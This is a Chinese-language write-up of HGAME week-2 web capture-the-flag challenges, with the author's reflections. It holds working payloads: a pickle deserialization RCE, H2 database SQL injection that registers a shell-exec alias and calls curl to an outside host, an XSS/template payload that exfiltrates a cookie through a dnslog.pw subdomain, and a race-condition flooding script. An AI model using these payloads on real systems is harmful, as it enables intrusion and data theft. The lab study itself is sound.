HGAME-WEEK2
week 2
web 2/5 完了,废了
What the cow say?
像ping那种命令执行,就是执行多个命令,禁用& | ;
我是用%0a来换行
WP的做法是使用反引号,也有人用$()
myflask (三血
import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone
currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")
app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)
@app.route('/')
def index():
session['username'] = 'guest'
return send_file('app.py')
@app.route('/flag', methods=['GET', 'POST'])
def flag():
if not session:
return 'There is no session available in your client :('
if request.method == 'GET':
return 'You are {} now'.format(session['username'])
# For POST requests from admin
if session['username'] == 'admin':
pickle_data=base64.b64decode(request.form.get('pickle_data'))
# Tips: Here try to trigger RCE
userdata=pickle.loads(pickle_data)
return userdata
else:
return 'Access Denied'
if __name__=='__main__':
app.run(debug=True, host="0.0.0.0")
看到secret_key是一个时间的函数
本地运行一下看大概是多少(我这里是20xxxx忘记了,然后把上下范围大概写入文件中
with open('1.txt','w')as f:
for i in range(200000,210000):
f.write(str(i))
f.write("\n")
用flask-unsign指定字典爆破
伪造session成为admin
python flask-session.py encode -s "203849" -t "{'username': 'admin'}"
import pickle
import os
class A(object):
def __reduce__(self):
# return (os.system,('ls',)) 不用这个,报错无回显
return (eval, ("__import__('os').popen('cat /flag').read()",))
a = A()
test = pickle.dumps(a)
print(base64.b64encode(test))
要在linux环境下运行py文件,因为不同系统会造成不同的结果
linux中为posix
windows中为nt
search4member *
真的服了,都发现是h2数据库的漏洞了,照着网上的payload打,老是宕机
给出失误后也不知道咋改,就放弃了
看附件,就是正常的SQL查询语句,看到不同的地方就是用了h2数据库,看了依赖也没其他的,便查h2数据库的漏洞
@Mapping("/")
public ModelAndView search(@Param(defaultValue = "web") String keyword) throws SQLException {
List<String> results = new ArrayList<>();
if (keyword != null & !keyword.equals("")) {
String sql = "SELECT * FROM member WHERE intro LIKE '%" + keyword + "%';";
DataSource dataSource = dbManager.getDataSource();
Statement statement = dataSource.getConnection().createStatement();
ResultSet resultSet = statement.executeQuery(sql);
while (resultSet.next()) {
results.add(resultSet.getString("id") + " : "
+ resultSet.getString("intro") + " : "
+ resultSet.getString("blog"));
}
resultSet.close();
statement.close();
}
ModelAndView model = new ModelAndView("search.ftl");
model.put("results", results);
return model;
}
找到通过H2 数据库get shell_h2 getshell-CSDN博客
我的复现做法
'; CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;CALL SHELLEXEC('id');'
但是这里不能直接CALL SHELLEXEC('id');
,因为没有回显的地方
这里
'; CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;'
是可以成功注册shellexec函数的,只是页面报错而已(我当时以为直接宕机了
然后WP给了很妙的方法,把数据插入表中,然后再查询
%';INSERT INTO member (id, intro, blog) VALUES ('flag','flag',SHELLEXEC('cat /flag'));'
最后查询flag
但是我这里的语句都是会导致页面报错的
看看官方WP的不会报错的吧
SJTU%';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws
java.io.IOException { java.util.Scanner s = new
java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter
("\\A"); return s.hasNext() ? s.next() : ""; }$$;SELECT * FROM member WHERE
intro LIKE '%13
SJTU%';INSERT INTO member (id, intro, blog) VALUES
('flag','flag',SHELLEXEC('cat /flag'));SELECT * FROM member WHERE intro LIKE
'%13
出网
….原来可以一起执行,带出网就行了
zzz%25';CREATE ALIAS SHELLEXEC AS 'String shellexec(String cmd) throws java.io.IOException {java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL SHELLEXEC('curl 28zrgzsc.requestrepo.com');--+
梅开二度 *
package main
import (
"context"
"log"
"net/url"
"os"
"regexp"
"sync"
"text/template"
"time"
"github.com/chromedp/chromedp"
"github.com/gin-gonic/gin"
"golang.org/x/net/html"
)
var re = regexp.MustCompile(`script|file|on`)
var lock sync.Mutex
func main() {
allocCtx, cancel := chromedp.NewExecAllocator(context.Background(), append(chromedp.DefaultExecAllocatorOptions[:],
chromedp.NoSandbox, chromedp.DisableGPU)...)
defer cancel()
r := gin.Default()
r.GET("/", func(c *gin.Context) {
tmplStr := c.Query("tmpl")
if tmplStr == "" {
tmplStr = defaultTmpl
} else {
if re.MatchString(tmplStr) {
c.String(403, "tmpl contains invalid word")
return
}
if len(tmplStr) > 50 {
c.String(403, "tmpl is too long")
return
}
tmplStr = html.EscapeString(tmplStr)
}
tmpl, err := template.New("resp").Parse(tmplStr)
if err != nil {
c.String(500, "parse template error: %v", err)
return
}
if err := tmpl.Execute(c.Writer, c); err != nil {
c.String(500, "execute template error: %v", err)
}
})
r.GET("/bot", func(c *gin.Context) {
rawURL := c.Query("url")
u, err := url.Parse(rawURL)
if err != nil {
c.String(403, "url is invalid")
return
}
if u.Host != "127.0.0.1:8080" {
c.String(403, "host is invalid")
return
}
go func() {
lock.Lock()
defer lock.Unlock()
ctx, cancel := chromedp.NewContext(allocCtx,
chromedp.WithBrowserOption(chromedp.WithDialTimeout(10*time.Second)),
)
defer cancel()
ctx, _ = context.WithTimeout(ctx, 20*time.Second)
if err := chromedp.Run(ctx,
chromedp.Navigate(u.String()),
chromedp.Sleep(time.Second*10),
); err != nil {
log.Println(err)
}
}()
c.String(200, "bot will visit it.")
})
r.GET("/flag", func(c *gin.Context) {
if c.RemoteIP() != "127.0.0.1" {
c.String(403, "you are not localhost")
return
}
flag, err := os.ReadFile("/flag")
if err != nil {
c.String(500, "read flag error")
return
}
c.SetCookie("flag", string(flag), 3600, "/", "", false, true)
c.Status(200)
})
r.Run(":8080")
}
const defaultTmpl = `
<!DOCTYPE html>
<html>
<head>
<title>YOU ARE</title>
</head>
<body>
<div>欢迎来自 {{.RemoteIP}} 的朋友</div>
<div>你的 User-Agent 是 {{.GetHeader "User-Agent"}}</div>
<div>flag在bot手上,想办法偷过来</div>
</body>
`
我的思路是bot访问flag然后xss带出来
但这里要是写HTML中带script的js代码,但是不是有正则吗?不懂
官方WP也挺抽象的,用的是yakit的Fuzztag语法,都看不懂
GET /bot?url={{url(http://127.0.0.1:8080/?GET={{url(<!DOCTYPE html>
<html>
<body>
<script>
(async function evil() {
await fetch('/flag');
const res = await fetch('/?tmpl={{.Cookie (.Query.Request.Method)}}&GET=flag');
const flag = [...await
res.text()].map(a=>a.charCodeAt(0).toString(16)).join('');
document.body.innerHTML+=`<img src="http://${flag.slice(0,50)}.u7byk63s.dnslog.pw">`
})();
</script>
</body>
</html>)}}&tmpl={{url({{.Query .Request.Method}})}})}} HTTP/1.1
Host: 47.100.137.175:32193
其实答案写在题目描述里了
上联下联 使用{{.Query .Request.Method}}
从另一个方向带入payload,绕过html转义
横批 -> 二次ssti绕过httponly
这看的懂啥
Select More Courses *
不懂
上WP
弱密码+条件竞争。
Hint中给出了可供参考的密码字典:
https://github.com/TheKingOfDuck/fuzzDicts/blob/master/passwordDict/top1000.txt,爆破出弱
密码为 qwert123
。
登⼊系统后进⼊ /expand 路由,根据提⽰ race against time
,(知道是条件竞争,但是咋弄呢,服了
并发POST请求 /api/expand 接⼝,利⽤此处存在的条件竞争漏洞,可实现拓展学分上限,然后选择对应课程获取flag。
利⽤条件竞争可使⽤BurpSuite⾃带的Intruder模块,也可以⾃⾏编写脚本实现,以下为⼀个可供参考
的利⽤此处漏洞的python脚本:
import requests
import threading
def send_request():
url = "http://47.102.130.35:30234/api/expand"
headers = {
"Host": "47.102.130.35:30234",
"Connection": "keep-alive",
"Content-Length": "23",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
"Content-Type": "application/json",
"Accept": "*/*",
"Origin": "http://47.102.130.35:30234",
"Referer": "http://47.102.130.35:30234/expand",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cookie": "session=MTcwNzEwNzQzM3xEWDhFQVFMX2dBQUJFQUVRQUFBcV80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQW9BQ0cxaE5XaHlNREJ0fHOdF2Z4AqqV3oV6z2EPpM2zyz1UOPBTtu69oB8qnaWM"
}
payload = {"username": "ma5hr00m"}
while True:
try:
response = requests.post(url, headers=headers, json=payload)
print(f"Response: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"Error: {e}")
# 创建50个线程并发发送请求
threads = []
for _ in range(50):
thread = threading.Thread(target=send_request)
thread.start()
threads.append(thread)
# 等待所有线程完成
for thread in threads:
thread.join()